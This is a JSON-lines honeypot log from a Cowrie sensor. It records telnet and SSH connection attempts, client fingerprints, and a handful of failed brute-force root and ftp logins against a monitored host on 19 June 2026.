{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a641e2c279d","protocol":"telnet","message":"New connection: 172.81.62.90:35084 (159.203.135.109:23) [session: 5a641e2c279d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:11:05.022321Z"}
{"eventid":"cowrie.session.closed","duration":78.07792901992798,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:11:06.024616Z","src_ip":"128.199.8.54","session":"4c2afe2c00a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.95.153.122","src_port":21816,"dst_ip":"159.203.135.109","dst_port":22,"session":"62ad607584de","protocol":"ssh","message":"New connection: 182.95.153.122:21816 (159.203.135.109:22) [session: 62ad607584de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:11:28.844801Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43330,"dst_ip":"159.203.135.109","dst_port":23,"session":"16d6b2588b78","protocol":"telnet","message":"New connection: 172.81.62.90:43330 (159.203.135.109:23) [session: 16d6b2588b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:11:35.952281Z"}
{"eventid":"cowrie.session.closed","duration":38.98395824432373,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:11:44.006180Z","src_ip":"172.81.62.90","session":"5a641e2c279d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39346,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a0372e981ea","protocol":"telnet","message":"New connection: 172.81.62.90:39346 (159.203.135.109:23) [session: 1a0372e981ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:11:56.609144Z"}
{"eventid":"cowrie.session.closed","duration":37.545429706573486,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:12:13.497577Z","src_ip":"172.81.62.90","session":"16d6b2588b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33832,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9e8386165bf","protocol":"telnet","message":"New connection: 172.81.62.90:33832 (159.203.135.109:23) [session: a9e8386165bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:12:33.515791Z"}
{"eventid":"cowrie.session.closed","duration":44.89856791496277,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:12:41.507599Z","src_ip":"172.81.62.90","session":"1a0372e981ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":35264,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ce063f2327b","protocol":"ssh","message":"New connection: 103.27.238.114:35264 (159.203.135.109:22) [session: 3ce063f2327b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:03.506936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:03.516077Z","src_ip":"103.27.238.114","session":"3ce063f2327b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:04.510707Z","src_ip":"103.27.238.114","session":"3ce063f2327b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mike123","message":"login attempt [root/mike123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:05.283780Z","src_ip":"103.27.238.114","session":"3ce063f2327b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:06.543357Z","src_ip":"103.27.238.114","session":"3ce063f2327b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.781442165374756,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:14.297162Z","src_ip":"172.81.62.90","session":"a9e8386165bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":40846,"dst_ip":"10.17.0.5","dst_port":22,"session":"5afd276c3e52","protocol":"ssh","message":"New connection: 194.59.206.2:40846 (10.17.0.5:22) [session: 5afd276c3e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:19.987123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:20.005466Z","src_ip":"194.59.206.2","session":"5afd276c3e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:20.086706Z","src_ip":"194.59.206.2","session":"5afd276c3e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:20.276189Z","src_ip":"194.59.206.2","session":"5afd276c3e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:28.850541Z","src_ip":"182.95.153.122","session":"62ad607584de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":45628,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d44f5601489","protocol":"ssh","message":"New connection: 14.63.196.175:45628 (10.17.0.5:22) [session: 2d44f5601489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:39.117558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:39.121932Z","src_ip":"14.63.196.175","session":"2d44f5601489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:39.318336Z","src_ip":"14.63.196.175","session":"2d44f5601489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123","message":"login attempt [ftp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:40.139302Z","src_ip":"14.63.196.175","session":"2d44f5601489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:41.338869Z","src_ip":"14.63.196.175","session":"2d44f5601489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":36152,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cdec8fa9e84","protocol":"ssh","message":"New connection: 38.93.206.2:36152 (159.203.135.109:22) [session: 2cdec8fa9e84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:51.143929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:51.148552Z","src_ip":"38.93.206.2","session":"2cdec8fa9e84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:51.198851Z","src_ip":"38.93.206.2","session":"2cdec8fa9e84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290684","message":"login attempt [root/290684] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:51.353119Z","src_ip":"38.93.206.2","session":"2cdec8fa9e84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:52.405525Z","src_ip":"38.93.206.2","session":"2cdec8fa9e84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":57098,"dst_ip":"159.203.135.109","dst_port":22,"session":"de19ca664645","protocol":"ssh","message":"New connection: 109.237.96.109:57098 (159.203.135.109:22) [session: de19ca664645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:58.312724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:58.317655Z","src_ip":"109.237.96.109","session":"de19ca664645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:58.410380Z","src_ip":"109.237.96.109","session":"de19ca664645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef123","message":"login attempt [root/abcdef123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:58.685248Z","src_ip":"109.237.96.109","session":"de19ca664645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:13:59.777570Z","src_ip":"109.237.96.109","session":"de19ca664645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42802,"dst_ip":"159.203.135.109","dst_port":23,"session":"abff2fc7fd88","protocol":"telnet","message":"New connection: 172.81.62.90:42802 (159.203.135.109:23) [session: abff2fc7fd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:11.006984Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40978,"dst_ip":"159.203.135.109","dst_port":23,"session":"f63e3d7b2637","protocol":"telnet","message":"New connection: 172.81.62.90:40978 (159.203.135.109:23) [session: f63e3d7b2637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:14.015974Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60668,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0733da405cc","protocol":"ssh","message":"New connection: 103.176.20.57:60668 (10.17.0.5:22) [session: e0733da405cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:14.690006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:14.695351Z","src_ip":"103.176.20.57","session":"e0733da405cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:14.950268Z","src_ip":"103.176.20.57","session":"e0733da405cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05091990","message":"login attempt [root/05091990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:15.721126Z","src_ip":"103.176.20.57","session":"e0733da405cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:16.981249Z","src_ip":"103.176.20.57","session":"e0733da405cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":57002,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2731b347b3b","protocol":"ssh","message":"New connection: 193.37.70.224:57002 (159.203.135.109:22) [session: b2731b347b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:32.754728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:32.761222Z","src_ip":"193.37.70.224","session":"b2731b347b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:32.859479Z","src_ip":"193.37.70.224","session":"b2731b347b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oxxxymiron","message":"login attempt [root/oxxxymiron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:33.148818Z","src_ip":"193.37.70.224","session":"b2731b347b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:34.244640Z","src_ip":"193.37.70.224","session":"b2731b347b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.51878046989441,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:46.534627Z","src_ip":"172.81.62.90","session":"f63e3d7b2637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.44301176071167,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:49.449864Z","src_ip":"172.81.62.90","session":"abff2fc7fd88","protocol":"telnet"}
